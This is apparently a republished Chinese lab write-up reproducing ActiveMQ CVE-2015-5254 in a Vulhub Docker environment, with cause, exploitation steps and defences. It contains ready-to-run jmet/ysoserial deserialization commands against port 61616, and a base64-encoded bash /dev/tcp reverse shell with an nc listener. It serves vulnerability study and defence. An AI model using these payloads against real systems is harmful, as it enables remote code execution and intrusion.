ActiveMQ 反序列化漏洞CVE-2015-5254复现

news2025/2/27 22:51:20

文章目录

      • 一、产生原因
      • 二、利用条件
      • 三、利用过程
      • 四、PoC(概念验证)
      • 五、poc环境验证
        • 使用find搜索vulhub已安装目录
        • 打开activeMQ组件
        • 查看配置文件端口
        • 启动镜像-文件配置好后
        • 对于Docker 镜像下载问题及解决办法
        • 设置好镜像源地址,进行重启docker
        • 查看docker容器状态
        • 5.1 docker拉取资源
        • 5.2 访问漏洞环境
        • 5.3 进行攻击靶场
        • 5.4 反弹shell
      • 六、防御措施

ActiveMQ反序列化漏洞(CVE-2015-5254)是一个严重的安全漏洞,以下是对该漏洞的产生原因、利用条件和过程以及PoC(Proof of Concept,概念验证)的详细分析:

[漏洞环境搭建]:Vulhub - Docker-Compose file for vulnerability environment
[搭建Vulhub和jdk和docker环境参考]:(https://blog.csdn.net/m0_59839948/article/details/141931317)

一、产生原因

Apache ActiveMQ是由美国Apache软件基金会开发的开源消息传递中间件,它支持Java消息传递服务、集群、Spring框架等。

CVE-2015-5254漏洞的产生原因是Apache ActiveMQ在5.13.0之前的5.x版本中,程序没有限制可在代理中序列化的类。这意味着远程攻击者可以构造特制的序列化的Java消息服务(JMS)ObjectMessage对象,并通过该漏洞在目标系统上执行任意代码。

首先是 org.apache.activemq.util.JMSExceptionSupport.createSerializableException() 方法中的缺陷,该方法将 JMSException 异常对象序列化为字节数组,这个字节数组包含了 cause 内的异常和 message 内的信息。攻击者可以构造精心设计的 cause 和 message 来注入恶意代码。接着,ActiveMQ 的 BlobMessage 与 ActiveMQMessage 消息类型中,也存在缺陷,它们并没有充分校验所接收消息的类型和信息,而是直接调用了 JMSExceptionSupport.createSerializableException() 方法将 JMSException 对象序列化为字节数组,从而使得攻击者可以执行任意代码。

二、利用条件

要利用CVE-2015-5254漏洞,攻击者需要满足以下条件:

  1. 目标系统需要运行Apache ActiveMQ 5.13.0之前的5.x版本。
  2. 攻击者需要能够向目标ActiveMQ服务器发送JMS消息。
  3. 攻击者需要构造并发送包含恶意序列化数据的JMS ObjectMessage。

三、利用过程

CVE-2015-5254漏洞的利用过程大致如下:

  1. 构造恶意消息:攻击者首先使用工具(如ysoserial)构造一个包含恶意代码的序列化JMS ObjectMessage。这个恶意代码可以是任何能够在目标系统上执行的命令。
  2. 发送恶意消息:攻击者将构造好的恶意消息发送到目标ActiveMQ服务器的61616端口(这是ActiveMQ的默认工作端口,用于消息传递)。
  3. 触发漏洞:当ActiveMQ服务器接收到这个恶意消息并尝试对其进行反序列化时,会触发漏洞,导致恶意代码在目标系统上执行。
  4. 执行任意代码:一旦恶意代码被执行,攻击者就可以在目标系统上执行任意操作,如窃取敏感数据、部署恶意软件或发起其他攻击。

四、PoC(概念验证)

以下是一个简单的PoC示例,展示了如何利用CVE-2015-5254漏洞在目标系统上执行任意命令:

  1. 下载并配置jmet工具:首先,攻击者需要下载jmet工具(一个用于利用ActiveMQ反序列化漏洞的工具)。然后,在同目录下创建一个external文件夹(这是jmet工具的要求,否则可能会出现文件夹不存在的错误))。

  2. 构造并发送恶意消息:jmet–》jmet-0.1.0-all下载,jmet是使用ysoserial来生成Payload并发送的(jar自带ysoserial,我们不需要再下载),所以我们需要选择一个可以在ysoserial中使用的小工具,比如ROME。 使用jmet工具构造一个包含恶意命令的序列化JMS ObjectMessage,并将其发送到目标ActiveMQ服务器的61616端口。例如,可以使用以下命令来构造并发送一个包含“touch /tmp/success”命令的恶意消息:

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME target_ip 61616
    

    其中,-Q指定队列消息名,-I选择要装载的JMS客户端(这里是ActiveMQ),-s是选择ysoserial payload,-Y指定具体的命令,-Yp指定payload类型(这里是ROME),target_ip是目标ActiveMQ服务器的IP地址,61616是目标ActiveMQ服务器的工作端口。

  3. 验证漏洞利用是否成功:攻击者可以通过访问目标系统的/tmp目录来检查是否成功创建了名为“success”的文件。如果文件存在,则说明漏洞利用成功。

五、poc环境验证

使用find搜索vulhub已安装目录
find . -type d -name "vulhub"  
-- . 表示当前目录,-type d 表示搜索类型为目录

sudo find / -type d -name "vulhub" 2>/dev/null

-- 2>/dev/null 是为了将错误消息(例如权限不足的目录)重定向到空设备,以避免干扰搜索结果。
打开activeMQ组件
/home/kali/vulhub/activemq/CVE-2015-5254

在这里插入图片描述

查看配置文件端口

在这里插入图片描述

启动镜像-文件配置好后
sudo docker-compose up -d   # -d是后台运行

在这里插入图片描述

对于Docker 镜像下载问题及解决办法

参考:https://blog.csdn.net/weixin_53742691/article/details/143176183
在 /etc/docker/daemon.json 文件中添加以下内容,以设置镜像加速器:

  {
	"registry-mirrors" : [
	    "https://jkfdsf2u.mirror.aliyuncs.com",
	    "https://registry.docker-cn.com"
	  ],
	  "insecure-registries" : [
	    "docker-registry.zjq.com"
	  ],
	  "log-driver": "json-file",
	  "log-opts": {
	    "max-size": "10m",
	    "max-file": "10"
	  },
	  "data-root": "/data/docker"
	} 

设置好镜像源地址,进行重启docker
1. cd /etc/docker/

2. 创建一个docker 的配置文件:daemon.json(要是存在就不需要创建了)
touch daemon.json

3. 给予权限; chmod 777 daemon.json

4.编辑 daemon.json,添加阿里云源
 vi daemon.json
输入时按i健,然后进行替换,完成之后按Esc健进行退出,再按:wq!进行保存退出
{"registry-mirrors": ["https://alzgoonw.mirror.aliyuncs.com"]}

清理docker缓存
sudo docker system prune

5.完成以上步骤,接下来重新加载文件和重启docker
systemctl daemon-reload
systemctl restart docker
查看docker容器状态
sudo  docker ps -a  # 查看docker的启动服务
sudo docker stop 128e    #128e是docker容器id的缩写

在这里插入图片描述

5.1 docker拉取资源

在这里插入图片描述

sudo  docker ps -a  # 查看docker的启动服务

在这里插入图片描述

5.2 访问漏洞环境

用本地机访问kali中docker容器中MQ,已成功部署

在这里插入图片描述

可以看到主页,然后点击Manage ActiveMQ broker 进入到登录界面,用户名和密码都是admin

在这里插入图片描述

登录成功,Queues的消息队列是空的

在这里插入图片描述

5.3 进行攻击靶场
构建攻击payload:
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
cd /opt
mkdir external
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

在这里插入图片描述

到kali里边直接使用jmet-0.1.0-all.jar 创建目录进行验证命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/weig_test" -Yp ROME 192.168.225.166 61616 

在这里插入图片描述

看到队列里出现了一个event新的任务

在这里插入图片描述

点进event,点进去任务详情触发

在这里插入图片描述

进入docker检验漏洞是否存在,看看/tmp下面是否有我们写入的文件先查看docker的进程:

docker ps -a 

在这里插入图片描述

进入容器:docker exec -it 128eab244067 /bin/bash ,进入到‘/tmp’目录可以看到weig_test文件存在,说明漏洞利用成功

docker exec -it 128eab244067  /bin/bash

在这里插入图片描述

5.4 反弹shell

可以看到文件被成功写入,确认漏洞之后就可以进行getshell,更换一下命令即可。

echo "bash -i >& /dev/tcp/192.168.225.166/5555 0>&1" >/tmp/shell.sh && bash /tmp/shell.sh   # ip是攻击机kali地址

echo: 这个命令用于输出的字符串。
bash -i: 启动一个交互式的 Bash shell。
/dev/tcp/ 是一个伪设备,用于在 Bash 中实现 TCP 连接。
>& /dev/tcp/192.168.225.166/5555: 利用 Bash 的特殊功能,通过 TCP 连接到 IP 地址为 192.168.225.166,端口号为 5555 的服务器。
0>&1: 这是重定向的一部分,将标准输入(文件描述符 0)重定向到标准输出(文件描述符 1),确保 shell 会话中的交互能够正常工作。
>/tmp/shell.sh: 这将 echo 命令的输出重定向到 /tmp/shell.sh 文件中,而不是显示在终端上

编码base64

ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNTU1NSAwPiYxIiA+L3RtcC9zaGVsbC5zaCAmJiBiYXNoIC90bXAvc2hlbGwuc2g=
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNTU1NSAwPiYxIiA+L3RtcC9zaGVsbC5zaCAmJiBiYXNoIC90bXAvc2hlbGwuc2g=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.225.166 61616

在这里插入图片描述
进行点击
在这里插入图片描述
点击这个ID号
在这里插入图片描述
进入此页面,已触发
在这里插入图片描述
使用kali进行监听端口,当点击详情后成功反弹shell

nc -lvnp 5555

在这里插入图片描述
反弹shell成功,至此漏洞复现完成。

六、防御措施

为了防范CVE-2015-5254漏洞,建议采取以下防御措施:

  1. 升级ActiveMQ版本:尽快将ActiveMQ升级到5.13.0或更高版本,以修复该漏洞。
  2. 限制消息类型:在ActiveMQ的配置中限制可接受的消息类型,避免接受未知的或不受信任的消息类型。
  3. 加强访问控制:配置防火墙规则以限制对ActiveMQ服务器的访问,确保只有受信任的用户或系统能够发送消息到ActiveMQ服务器。
  4. 监控和日志记录:启用ActiveMQ的监控和日志记录功能,以便及时发现并响应可疑活动。

综上所述,CVE-2015-5254漏洞是一个严重的安全威胁,用户应尽快采取措施进行修复和防范。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2261172.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

主成分分析法大全(包括stata+matlab)

数据简介:主成分分析(Principal Component Analysis,PCA), 是一种统计方法。通过正交变换将一组可能存在相关性的变量转换为一组线性不相关的变量,转换后的这组变量叫主成分。在实际课题中,为了…

qt中tr的使用

在 Qt 中使用 tr 函数对字符串进行翻译时,通常会通过 Qt Linguist 工具来处理翻译。以下是一个基本的步骤说明,展示如何将 QPushButton *btnnew QPushButton(tr("Hello World"),this); 翻译成其他语言,比如中文: 1.创建…

【Unity3D】报错libil2cpp.so找不到问题

mainTemplate.gradle文件末尾添加: **IL_CPP_BUILD_SETUP** 此报错发生在低版本的Unity升级到高版本后,例如Unity2019升级到Unity2021,而Unity2019默认创建的mainTemplate.gradle文件是不包含**IL_CPP_BUILD_SETUP** 因此会导致libil2cpp.so…

GLM4模型详解 - 智谱AI开源大模型全面解析

📚 2024年6月5日,智谱AI在开发者大会上正式开源GLM-4-9B系列大模型。本文将全面解析GLM4的技术特点、部署方案和应用场景。 GLM-4-9B 模型具备了更强大的推理性能、更长的上下文处理能力、多语言、多模态和 All Tools 等突出能力。 “All Tools” 一、模型概述 1.…

嵌入式驱动开发详解17(CAN驱动开发)

文章目录 前言CAN简介CAN收发器CAN协议讲解电气特性传输协议数据帧遥控帧错误帧过载帧帧间隔 同步矫正 CAN控制器CAN控制器模式CAN接收器CAN波特率 CAN设备树分析CAN测试后续参考文献 前言 该专栏主要是讲解嵌入式相关的驱动开发,但是由于部分模块的驱动框架过于复…

【Qt】qt安装

在工作一年之后,还是想做一个Qt的教程,遥想研一刚刚接触Qt,从0到1学习,没有什么参考书籍,网上的资料也不多,幸好Qt官方文档写得好,加上自己肯研究,才堪堪入门。 现在我想自己写一个…

Scala学习记录

dao --------> 数据访问 mode ------> 模型 service ---->业务逻辑 Main -------> UI:用户直接操作,调用Service 改造UI层:

FPGA 17 ,FPGA 与 SR-IOV虚拟化技术,高性能计算与虚拟化技术的结合(FPGA 与 SR-IOV 和 PCI,高性能计算与虚拟化的完美融合)

目录 前言 一. SR-IOV 的起源与发展 1. SR-IOV 的起源与时间线 2. SR-IOV 的诞生原因 3. SR-IOV 的详细介绍 二. SR-IOV 和 PCI 之间的关系 三. PCI 的起源与演进 1. PCI 的起源与时间线 2. PCI 的关键特性 四. FPGA 的独特魅力 1. FPGA 的定义与特性 2. FPGA 的内…

Spring Security 6 系列之二 - 基于数据库的用户认证和认证原理

之所以想写这一系列,是因为之前工作过程中使用Spring Security,但当时基于spring-boot 2.3.x,其默认的Spring Security是5.3.x。之后新项目升级到了spring-boot 3.3.0,结果一看Spring Security也升级为6.3.0,关键是其风…

ubuntu下anconda装pytorch

1、禁用nouveau sudo vim /etc/modprobe.d/blacklist.conf 在文件最后部分插入以下两行内容 blacklist nouveau options nouveau modeset0 更新系统 sudo update-initramfs -u 重启系统 2、装nvidia驱动 卸载原来驱动 sudo apt-get remove nvidia-* (若安装…

Pytest-Bdd-Playwright 系列教程(17):标签管理(Tags)

Pytest-Bdd-Playwright 系列教程(17):标签管理(Tags) 前言一、创建Feature文件二、创建步骤定义文件三、pytest.ini 配置文件四、conftest.py文件五、运行测试5.1 运行带有特定标签的测试5.2 运行带有多个标签的测试5.…

基于深度学习的猫狗识别系统【深度学习课设】

🏆 作者简介:席万里 ⚡ 个人网站:https://dahua.bloggo.chat/ ✍️ 一名后端开发小趴菜,同时略懂Vue与React前端技术,也了解一点微信小程序开发。 🍻 对计算机充满兴趣,愿意并且希望学习更多的技…

java常见的集合框架

常见的集合框架 JAVA的集合框架可以分成两类。 Collection,主要有List、vector、set、queue List代表有序,可重复的集合,像动态数组ArrayList和链表LinkedList Set代表无序不可重复的集合。像HashSet、TreeSet Queue代表队列,像…

期末速成C++【类和对象】

目录 1.面向对象的编程思想 2.面向对象的三大特征 3.封装 4.类的定义 5.成员函数 6.对象的创建和使用 7.字符串string的使用 8.this指针 9.构造函数VS析构函数 9.1🎇构造函数 9.1.1无参构造函数&有参构造函数​ 9.1.2构造函数的初始化表 9.1.3重…

牛客周赛 Round 72 <字符串>

<1>小红的01串&#xff08;一&#xff09; #include<stdio.h> #include<string.h> char ch[100]; int main() {scanf("%s",ch);int count0;int lenstrlen(ch);for(int i0;i<len-1;i){if(ch[i]!ch[i1]){count;} }printf("%d",count);…

2024.12.14 TCP/IP 网络模型有哪几层?

2024.12.14 TCP/IP 网络模型有哪几层? 2024.12.14 今天周六 看到大伙都在考六级&#xff0c;我来复盘小林coding的计算机网络的知识点&#xff1a; TCP/IP 网络模型有哪几层? 问大家&#xff0c;为什么要有 TCP/IP 网络模型? 对于同一台设备上的进程间通信&#xff0c;有…

将 Ubuntu 22.04 LTS 升级到 24.04 LTS

Ubuntu 24.04 LTS 将支持 Ubuntu 桌面、Ubuntu 服务器和 Ubuntu Core 5 年&#xff0c;直到 2029 年 4 月。 本文将介绍如何将当前 Ubuntu 22.04 系统升级到最新 Ubuntu 24.04 LTS版本。 备份个人数据 以防万一&#xff0c;把系统中的重要数据自己备份一下~ 安装配置SSH访问…

商业化大前端在性能优化领域的探索与实践

导读&#xff1a;在业务飞速发展的过程中&#xff0c;用户体验是必不可少的一个环节&#xff0c;而页面性能是直接影响用户体验的重要因素。当页面加载时间过长、交互操作不流畅时&#xff0c;意味着业务可能会出现转化率降低、用户流失等业务问题。在过去一年&#xff0c;为了…

Envoy 进阶指南(下):深入探究Envoy服务和架构

接上篇&#xff1a;《Envoy 进阶指南&#xff08;上&#xff09;&#xff1a;从入门到核心功能全掌握》 链接 文章目录 3.深入探究Envoy3.1 Envoy服务发现机制3.1.1文件订阅3.1.2 gRPC 流式订阅3.1.3 REST-JSON 轮询订阅 3.2监听器&#xff08;Listener&#xff09;3.3.架构3.3…

将PDF流使用 canvas 绘制展示在页面上(一)

将PDF流展示在页面上 使用 pdfjs-dist 库来渲染 PDF 页面到 canvas 上进行绘制展示 安装 pdfjs-dist 依赖 npm install pdfjs-dist 或者 yarn add pdfjs-dist创建一个组件来处理 PDF 流的加载和渲染 该组件中是一个包含 PDF 文件的 Base64。 将 pdf 流传入该组件中使用 /** fo…